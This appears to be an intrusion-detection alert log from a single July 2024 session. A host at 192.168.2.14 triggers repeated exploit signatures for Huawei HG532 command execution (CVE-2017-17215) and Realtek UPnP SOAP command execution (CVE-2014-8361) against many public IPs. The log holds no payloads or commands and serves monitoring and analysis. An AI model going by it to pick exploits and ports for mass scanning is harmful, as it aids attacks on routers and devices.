07/20/24-23:01:22.779153	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60040	37215	192.168.2.14	41.1.148.179
07/20/24-23:01:25.295702	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50546	37215	192.168.2.14	157.67.110.142
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47904	37215	192.168.2.14	41.220.236.131
07/20/24-23:01:05.895933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39734	37215	192.168.2.14	157.156.34.177
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37760	37215	192.168.2.14	41.215.5.247
07/20/24-23:01:29.198098	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33284	52869	192.168.2.14	47.157.17.225
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54092	37215	192.168.2.14	157.95.112.138
07/20/24-23:01:34.936611	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51584	52869	192.168.2.14	43.85.108.87
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59556	37215	192.168.2.14	137.177.10.208
07/20/24-23:01:19.235468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47534	37215	192.168.2.14	197.193.210.73
07/20/24-23:01:33.598861	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38018	52869	192.168.2.14	138.145.119.211
07/20/24-23:01:22.794319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43470	37215	192.168.2.14	157.150.206.31
07/20/24-23:01:13.329142	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58330	52869	192.168.2.14	82.44.225.133
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43372	37215	192.168.2.14	157.127.82.180
07/20/24-23:01:13.332438	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42376	52869	192.168.2.14	169.73.158.246
07/20/24-23:01:07.668267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50852	37215	192.168.2.14	157.185.100.168
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46810	37215	192.168.2.14	184.212.2.51
07/20/24-23:01:34.929652	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51604	52869	192.168.2.14	174.193.181.196
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52906	37215	192.168.2.14	41.255.114.130
07/20/24-23:01:13.329789	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48634	52869	192.168.2.14	118.44.218.190
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44066	37215	192.168.2.14	157.4.192.144
07/20/24-23:01:33.068258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60878	37215	192.168.2.14	197.26.114.57
07/20/24-23:01:34.204689	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36290	52869	192.168.2.14	157.141.84.47
07/20/24-23:01:05.906603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35758	37215	192.168.2.14	41.42.5.74
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50194	37215	192.168.2.14	85.30.219.131
07/20/24-23:01:33.193550	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46900	52869	192.168.2.14	13.226.216.53
07/20/24-23:01:24.712847	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53686	52869	192.168.2.14	200.134.207.26
07/20/24-23:01:11.477507	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42950	37215	192.168.2.14	167.165.86.177
07/20/24-23:01:33.094838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44230	37215	192.168.2.14	157.181.100.135
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58334	37215	192.168.2.14	41.151.150.203
07/20/24-23:01:33.056745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58524	37215	192.168.2.14	157.116.171.252
07/20/24-23:01:33.864769	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51250	52869	192.168.2.14	178.14.114.28
07/20/24-23:01:11.461509	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34260	37215	192.168.2.14	158.171.242.198
07/20/24-23:01:37.224827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33790	37215	192.168.2.14	157.16.155.45
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43612	37215	192.168.2.14	41.28.196.52
07/20/24-23:01:02.410541	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41482	37215	192.168.2.14	157.88.41.229
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47774	37215	192.168.2.14	157.25.16.9
07/20/24-23:01:37.166003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37296	37215	192.168.2.14	157.153.155.34
07/20/24-23:01:06.336576	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40486	52869	192.168.2.14	117.199.176.147
07/20/24-23:01:05.920528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55434	37215	192.168.2.14	197.9.56.149
07/20/24-23:01:22.788405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58540	37215	192.168.2.14	113.64.11.191
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50124	37215	192.168.2.14	41.221.33.91
07/20/24-23:01:13.335387	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37002	52869	192.168.2.14	40.156.155.77
07/20/24-23:01:29.173099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32826	52869	192.168.2.14	205.244.60.239
07/20/24-23:01:34.914909	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57470	52869	192.168.2.14	142.63.99.254
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49432	37215	192.168.2.14	157.97.83.71
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57772	37215	192.168.2.14	157.67.250.160
07/20/24-23:01:25.283565	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42826	37215	192.168.2.14	197.190.16.151
07/20/24-23:01:30.731210	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45820	52869	192.168.2.14	70.48.172.224
07/20/24-23:01:25.290247	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51950	37215	192.168.2.14	41.27.76.211
07/20/24-23:01:05.898116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43638	37215	192.168.2.14	157.28.208.36
07/20/24-23:01:23.157753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43956	52869	192.168.2.14	42.203.55.38
07/20/24-23:01:06.612211	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38538	52869	192.168.2.14	147.24.204.167
07/20/24-23:01:29.182229	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34864	52869	192.168.2.14	58.186.168.57
07/20/24-23:01:05.906602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47722	37215	192.168.2.14	157.193.7.72
07/20/24-23:01:34.909518	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43928	52869	192.168.2.14	148.132.169.125
07/20/24-23:01:33.060990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38648	37215	192.168.2.14	156.104.77.122
07/20/24-23:01:22.792727	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49300	37215	192.168.2.14	157.64.229.9
07/20/24-23:01:22.788405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44122	37215	192.168.2.14	197.204.163.81
07/20/24-23:01:29.185354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59984	52869	192.168.2.14	98.8.145.55
07/20/24-23:01:02.411166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35110	37215	192.168.2.14	197.255.176.169
07/20/24-23:01:13.330389	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33388	52869	192.168.2.14	220.158.230.42
07/20/24-23:01:34.097406	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49390	52869	192.168.2.14	222.252.238.17
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59234	37215	192.168.2.14	107.100.22.77
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36474	37215	192.168.2.14	165.96.229.239
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33962	37215	192.168.2.14	197.172.21.48
07/20/24-23:01:34.131777	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52424	52869	192.168.2.14	150.10.126.44
07/20/24-23:01:13.332381	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53004	52869	192.168.2.14	2.46.59.12
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45094	37215	192.168.2.14	41.245.110.189
07/20/24-23:01:14.396963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35652	37215	192.168.2.14	142.218.73.42
07/20/24-23:01:22.786544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38358	37215	192.168.2.14	157.92.202.138
07/20/24-23:01:06.606086	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60124	52869	192.168.2.14	179.90.129.47
07/20/24-23:01:28.195717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48816	37215	192.168.2.14	157.237.137.71
07/20/24-23:01:19.335313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60132	37215	192.168.2.14	196.14.51.31
07/20/24-23:01:19.334332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58714	37215	192.168.2.14	197.44.132.242
07/20/24-23:01:25.278883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33186	52869	192.168.2.14	105.221.149.154
07/20/24-23:01:05.633189	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44220	52869	192.168.2.14	165.240.21.199
07/20/24-23:01:33.030188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50170	37215	192.168.2.14	147.66.15.3
07/20/24-23:01:05.897173	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53862	37215	192.168.2.14	41.127.244.231
07/20/24-23:01:07.700270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43818	37215	192.168.2.14	77.253.158.6
07/20/24-23:01:13.337641	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37884	52869	192.168.2.14	66.134.165.127
07/20/24-23:01:13.331310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53118	52869	192.168.2.14	146.126.33.191
07/20/24-23:01:28.208110	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38678	37215	192.168.2.14	197.206.237.29
07/20/24-23:01:33.491218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60034	52869	192.168.2.14	133.211.191.92
07/20/24-23:01:28.143109	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52186	37215	192.168.2.14	197.213.136.195
07/20/24-23:01:02.407252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52176	37215	192.168.2.14	126.166.207.208
07/20/24-23:01:25.230811	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41998	37215	192.168.2.14	41.39.9.182
07/20/24-23:01:02.408227	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41636	37215	192.168.2.14	157.216.161.59
07/20/24-23:01:19.334827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52426	37215	192.168.2.14	197.89.208.254
07/20/24-23:01:05.490874	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36662	52869	192.168.2.14	198.112.106.164
07/20/24-23:01:14.416273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42998	37215	192.168.2.14	157.243.15.26
07/20/24-23:01:29.546185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48962	52869	192.168.2.14	45.24.39.65
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59690	37215	192.168.2.14	41.222.58.112
07/20/24-23:01:30.719058	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46952	52869	192.168.2.14	47.7.230.238
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44024	37215	192.168.2.14	197.60.159.225
07/20/24-23:01:13.333147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45486	52869	192.168.2.14	47.67.168.49
07/20/24-23:01:37.120918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42802	37215	192.168.2.14	38.78.113.172
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35192	37215	192.168.2.14	157.194.90.237
07/20/24-23:01:14.454899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60698	37215	192.168.2.14	98.85.112.187
07/20/24-23:01:34.923386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36400	52869	192.168.2.14	193.243.213.199
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44090	37215	192.168.2.14	157.126.229.147
07/20/24-23:01:25.280228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41702	37215	192.168.2.14	41.48.132.173
07/20/24-23:01:37.214680	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36286	37215	192.168.2.14	197.180.127.172
07/20/24-23:01:33.056745	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32878	37215	192.168.2.14	220.237.15.252
07/20/24-23:01:34.909518	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45700	52869	192.168.2.14	143.76.5.38
07/20/24-23:01:13.329661	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50004	52869	192.168.2.14	66.247.97.52
07/20/24-23:01:06.166101	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43302	52869	192.168.2.14	188.64.202.52
07/20/24-23:01:06.146745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39728	52869	192.168.2.14	123.243.178.81
07/20/24-23:01:13.330329	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48210	52869	192.168.2.14	190.144.135.107
07/20/24-23:01:32.823464	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37674	52869	192.168.2.14	13.17.82.210
07/20/24-23:01:33.737025	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58002	52869	192.168.2.14	162.16.177.241
07/20/24-23:01:37.120678	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33822	37215	192.168.2.14	157.126.88.19
07/20/24-23:01:06.841661	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55720	52869	192.168.2.14	82.116.127.119
07/20/24-23:01:22.776061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52598	37215	192.168.2.14	41.189.212.63
07/20/24-23:01:37.122448	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58556	37215	192.168.2.14	197.232.171.237
07/20/24-23:01:05.898116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60744	37215	192.168.2.14	41.176.13.97
07/20/24-23:01:24.438895	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53036	52869	192.168.2.14	155.24.113.226
07/20/24-23:01:34.958511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34896	52869	192.168.2.14	99.174.108.83
07/20/24-23:01:24.093369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45534	52869	192.168.2.14	97.239.211.144
07/20/24-23:01:31.087349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58512	52869	192.168.2.14	46.136.73.170
07/20/24-23:01:28.143795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59342	37215	192.168.2.14	197.203.75.68
07/20/24-23:01:05.893818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57768	37215	192.168.2.14	41.203.149.103
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40966	37215	192.168.2.14	98.20.71.159
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42132	37215	192.168.2.14	171.186.170.148
07/20/24-23:01:33.081950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35500	37215	192.168.2.14	41.212.254.246
07/20/24-23:01:34.618858	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45842	52869	192.168.2.14	149.189.66.2
07/20/24-23:01:19.223034	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57996	37215	192.168.2.14	197.38.116.60
07/20/24-23:01:25.234700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38212	37215	192.168.2.14	157.191.232.175
07/20/24-23:01:11.461274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47040	37215	192.168.2.14	41.183.70.1
07/20/24-23:01:13.336216	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52160	52869	192.168.2.14	35.112.217.187
07/20/24-23:01:02.416600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57848	37215	192.168.2.14	139.212.201.39
07/20/24-23:01:22.788405	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56272	37215	192.168.2.14	41.36.190.232
07/20/24-23:01:13.333349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44956	52869	192.168.2.14	51.249.121.241
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57346	37215	192.168.2.14	197.141.224.18
07/20/24-23:01:05.895886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50246	37215	192.168.2.14	197.138.28.9
07/20/24-23:01:19.334911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49046	37215	192.168.2.14	209.164.107.20
07/20/24-23:01:25.281209	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56544	37215	192.168.2.14	197.117.25.210
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54866	37215	192.168.2.14	197.190.77.121
07/20/24-23:01:28.142762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54050	37215	192.168.2.14	157.166.20.130
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43834	37215	192.168.2.14	197.147.97.146
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32968	37215	192.168.2.14	157.149.96.221
07/20/24-23:01:19.221647	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50998	37215	192.168.2.14	120.239.43.227
07/20/24-23:01:06.122522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51734	52869	192.168.2.14	154.234.222.130
07/20/24-23:01:28.190003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59048	37215	192.168.2.14	41.37.227.181
07/20/24-23:01:33.036114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55696	37215	192.168.2.14	197.196.141.189
07/20/24-23:01:05.468860	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43334	52869	192.168.2.14	200.181.183.183
07/20/24-23:01:37.227353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57094	37215	192.168.2.14	41.250.30.224
07/20/24-23:01:07.668438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48026	37215	192.168.2.14	197.160.7.39
07/20/24-23:01:29.170557	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55564	52869	192.168.2.14	89.243.23.143
07/20/24-23:01:29.679335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40740	52869	192.168.2.14	209.57.40.96
07/20/24-23:01:22.779211	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42234	37215	192.168.2.14	157.158.75.9
07/20/24-23:01:22.782671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56788	37215	192.168.2.14	173.148.234.198
07/20/24-23:01:33.418840	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57084	52869	192.168.2.14	208.213.201.22
07/20/24-23:01:07.668438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35938	37215	192.168.2.14	157.135.101.16
07/20/24-23:01:19.336582	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46110	37215	192.168.2.14	218.120.151.234
07/20/24-23:01:33.081950	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47284	37215	192.168.2.14	197.57.170.74
07/20/24-23:01:28.205022	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50524	37215	192.168.2.14	20.197.184.179
07/20/24-23:01:23.047135	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49012	52869	192.168.2.14	189.144.99.123
07/20/24-23:01:33.043558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60832	37215	192.168.2.14	197.170.131.179
07/20/24-23:01:14.406708	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56822	37215	192.168.2.14	157.193.13.42
07/20/24-23:01:07.653968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50358	37215	192.168.2.14	41.163.219.39
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42132	37215	192.168.2.14	41.128.241.73
07/20/24-23:01:28.143994	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58970	37215	192.168.2.14	41.201.252.170
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43254	37215	192.168.2.14	100.131.207.210
07/20/24-23:01:34.983816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56052	52869	192.168.2.14	192.84.42.215
07/20/24-23:01:22.772933	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48352	37215	192.168.2.14	197.255.11.176
07/20/24-23:01:34.682196	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49740	52869	192.168.2.14	43.85.108.87
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58432	37215	192.168.2.14	157.168.145.158
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46782	37215	192.168.2.14	197.185.101.13
07/20/24-23:01:37.124220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52314	37215	192.168.2.14	41.217.102.92
07/20/24-23:01:13.330930	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39168	52869	192.168.2.14	64.213.179.125
07/20/24-23:01:19.227177	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49070	37215	192.168.2.14	120.181.248.17
07/20/24-23:01:05.927305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38678	37215	192.168.2.14	197.147.15.112
07/20/24-23:01:13.333349	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47854	52869	192.168.2.14	72.222.174.251
